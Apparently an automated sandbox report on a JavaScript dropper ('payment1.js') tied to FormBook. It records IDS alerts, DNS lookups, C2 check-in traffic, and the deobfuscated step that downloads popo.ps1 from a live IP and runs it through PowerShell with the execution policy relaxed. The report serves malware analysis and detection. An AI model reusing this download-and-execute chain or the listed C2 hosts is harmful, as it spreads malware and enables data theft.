Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:52661 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:52619 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:52600 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:52665 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:52662 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:52657 -> 162.0.231.203:80
Source: Network traffic	Suricata IDS: 2018856 - Severity 1 - ET MALWARE Windows executable base64 encoded : 196.251.92.64:80 -> 192.168.2.4:49731
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:52666 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:52568 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:52664 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:52667 -> 47.83.1.90:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 196.251.92.64 80

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

Source: payment1.js	Return value : ['"MSXML2.XMLHTTP"']	Go to definition
Source: payment1.js	Argument value : ['"http://196.251.92.64/crypt/popo.ps1","C:\\Temp\\dddddd.ps1"']	Go to definition
Source: payment1.js	Return value : ['124678FeSFCc,WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlc', 'CreateTextFile,PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File ,rM9SzgvYrxHPC3rZ,Download ', 'WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU', 'W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU8o8sSkOuCkXWORdLmkQjg99s', 'message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jPChq6ia,124678FeSFCc,WQ7dVXVc']	Go to definition
Source: payment1.js	Return value : ['MSXML2.XMLHTTP,371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,ba']	Go to definition
Source: payment1.js	Return value : ['"MSXML2.XMLHTTP"']	Go to definition
Source: payment1.js	Argument value : ['"GET","http://196.251.92.64/crypt/popo.ps1",false', '"Send"']	Go to definition
Source: payment1.js	Argument value : ['"http://196.251.92.64/crypt/popo.ps1","C:\\Temp\\dddddd.ps1"']	Go to definition
Source: payment1.js	Return value : ['MSXML2.XMLHTTP,371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,ba', 'rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i', 'W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jP', '371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4', 'q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrV', 'bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93z', 'message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jPChq6ia,124678FeSFCc,WQ7dVXVc']	Go to definition
Source: payment1.js	Return value : ['MSXML2.XMLHTTP,371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,ba']	Go to definition
Source: payment1.js	Return value : ['MSXML2.XMLHTTP,371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,ba', 'rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i', 'W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jP', '371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4', 'q3jLyxrLt2jQzwn0,bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrV', 'bab4W6tdK8oJrG,W4iJW43dGGa8W5i7W40iWOVcRq4,message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93z', 'message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jPChq6ia,124678FeSFCc,WQ7dVXVc']	Go to definition
Source: payment1.js	Return value : ['124678FeSFCc,WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlc', 'CreateTextFile,PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File ,rM9SzgvYrxHPC3rZ,Download ', 'WQ7dVXVcVCkpCLJcM8keW6W,W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU', 'W4pcUGdcPCojWOdcSJCzWPNdPSkW,WRTMW6pdJa,otCXnJC0ng50B2XSrq,WQlcV2JdRXZcRslcU8o8sSkOuCkXWORdLmkQjg99s', 'message,12642224tnuDGo,Quit,rMfPBgvKihrVigv4zwn1DguGug93zxjtAgvSBcbZy3jPChq6ia,124678FeSFCc,WQ7dVXVc']	Go to definition
Source: payment1.js	Return value : ['"MSXML2.XMLHTTP"']	Go to definition
Source: payment1.js	Return value : ['MSXML2.XMLHTTP,371190cReolU,rxHPDgLUzYbZy3jPChqGzhvLihrVigrVD25SB2fKigzHAwX1CMuU,q3jLyxrLt2jQzwn0,ba']	Go to definition

Performs DNS queries to domains with low reputation

Source:	DNS query: www.physicsbrain.xyz
Source:	DNS query: www.infiniteve.xyz
Source:	DNS query: www.weilaishijie.xyz

Source: global traffic

TCP traffic: 192.168.2.4:52380 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48

Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.92.64

Source: global traffic	HTTP traffic detected: GET /crypt/popo.ps1 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 196.251.92.64Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /9gtw/?JZfd=bFQVCxzo4meVUPRnP0n3FR5ZzBASsiXRVHB0uPlWJiDXwsbOt8zcfdxm4ktJdQTn5zPq+Y8ykDyEtSWLtIWRcrie4i7GHURObbczaEgRbEWCMNyWzbPKN50=&28t=_DlH9FNpJbu HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.lucynoel6465.shopConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1)
Source: global traffic	HTTP traffic detected: GET /0c5p/?JZfd=ZkUTV7pI9Ap5vIyRRAq5W5SemCe80v7MV0MOYxheQ3+8mZZcGVhaedsyExvQ8P0JBljjtNlykIwC9TSJUDwzYqYInCYcfCsRcBd6++ZWi3nQtc+XigtdVu0=&28t=_DlH9FNpJbu HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.travel-cure.sbsConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1)
Source: global traffic	HTTP traffic detected: GET /ajxq/?JZfd=Z0yNDnK53JgtMSLt/Q+dSz0HWqwkNuop0AL5Lrb95TYezZcCk+GBjjC2rO5AP3na8OTPjj2cyURwNj0Uenp5Hjv5SXrtYK2BmGwEpYXvWphiXX161SqTvYw=&28t=_DlH9FNpJbu HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.physicsbrain.xyzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1)
Source: global traffic	HTTP traffic detected: GET /rvdc/?JZfd=4SS44dSHix1qeqRpZ30sUGwaRLQ6PL636AaAeL4eRpehwv4hyktLqvMv9AyoVvbLe7Ilavn5wnoOWJ/fZmmrIfslJ8D6BKaSqIEkHtgn+Cj3tNriNM+Lp4c=&28t=_DlH9FNpJbu HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.infiniteve.xyzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1)
Source: global traffic	HTTP traffic detected: GET /mvfs/?28t=_DlH9FNpJbu&JZfd=OX+XGG1vMjnBpir6rX0/G3mm6BKDnX5s9v0C7sC38KVwA5xuSoQxQAVtGC05vfCZlgARXwgyCJM/mKbUQVyNeO12dcoATF+wDwavyiCFDGb9TNEZS4YCLPo= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.weilaishijie.xyzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1)
Source: global traffic	HTTP traffic detected: GET /xqy6/?JZfd=3AdOd/JiBJZfW59JF3bk/JUX+I6ir2eDUVeNMTHa5bokm3l1PR6gBk+gEKdbuXFpEa+iNwYC+tVHkUu9Fw3QKE4rVdEfXJGpPPZQf/r11XdvYWfnyknaUqI=&28t=_DlH9FNpJbu HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-usHost: www.dqvcbn.infoConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1)

Source: global traffic	DNS traffic detected: DNS query: www.lucynoel6465.shop
Source: global traffic	DNS traffic detected: DNS query: www.travel-cure.sbs
Source: global traffic	DNS traffic detected: DNS query: www.physicsbrain.xyz
Source: global traffic	DNS traffic detected: DNS query: www.infiniteve.xyz
Source: global traffic	DNS traffic detected: DNS query: www.weilaishijie.xyz
Source: global traffic	DNS traffic detected: DNS query: www.dqvcbn.info

Source: unknown

HTTP traffic detected: POST /0c5p/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-usHost: www.travel-cure.sbsOrigin: http://www.travel-cure.sbsReferer: http://www.travel-cure.sbs/0c5p/Content-Type: application/x-www-form-urlencodedContent-Length: 201Connection: closeCache-Control: max-age=0User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1)Data Raw: 4a 5a 66 64 3d 55 6d 38 7a 57 4d 39 35 69 53 30 62 71 49 62 71 47 43 57 42 45 36 58 47 70 77 57 55 78 59 33 35 52 47 59 79 59 6a 74 72 66 31 4f 7a 6e 49 49 6c 49 30 4e 66 61 76 41 53 51 48 4c 76 30 70 49 4c 53 32 72 73 70 36 39 63 37 62 45 4e 6f 51 69 43 64 54 6b 30 61 2b 55 4b 67 52 73 50 57 42 4d 46 4b 48 6f 50 37 2f 5a 43 74 48 76 64 2b 39 43 6e 68 51 6c 63 44 2f 72 45 67 77 67 39 62 50 73 31 52 62 56 6b 50 75 68 62 53 45 4e 47 37 35 38 57 5a 39 75 37 4c 6a 42 43 47 36 75 63 42 34 4f 55 66 39 7a 53 48 44 38 79 6a 79 6c 4b 62 62 67 31 5a 4e 35 5a 39 33 64 73 74 71 45 71 6f 66 43 6a 46 51 3d 3d Data Ascii: JZfd=Um8zWM95iS0bqIbqGCWBE6XGpwWUxY35RGYyYjtrf1OznIIlI0NfavASQHLv0pILS2rsp69c7bENoQiCdTk0a+UKgRsPWBMFKHoP7/ZCtHvd+9CnhQlcD/rEgwg9bPs1RbVkPuhbSENG758WZ9u7LjBCG6ucB4OUf9zSHD8yjylKbbg1ZN5Z93dstqEqofCjFQ==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Feb 2025 07:15:08 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Avh9oG%2FGUuJNIk6FyMX5v4igg5uPyGtSmqokcByDkVEsaFhOp2B4HitzxqRiwXYsWV9akBw4X0sO0%2FoVGAi1O1OClzVow30sBGvHn%2F8NKtnvFqPqgGsAgnCSR5VRlCuTowlApyoWQ8E%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 913c39665fed72a1-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1902&min_rtt=1902&rtt_var=951&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=572&delivery_rate=0&cwnd=197&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Feb 2025 07:15:50 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Feb 2025 07:15:52 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Feb 2025 07:15:55 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Feb 2025 07:15:57 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: wscript.exe, 00000000.00000003.1697035431.00000174E98B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://196.251.92.64/crypt/popo.ps1
Source: wscript.exe, 00000000.00000002.1935377292.00000174E9C4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://196.251.92.64/crypt/popo.ps1m?
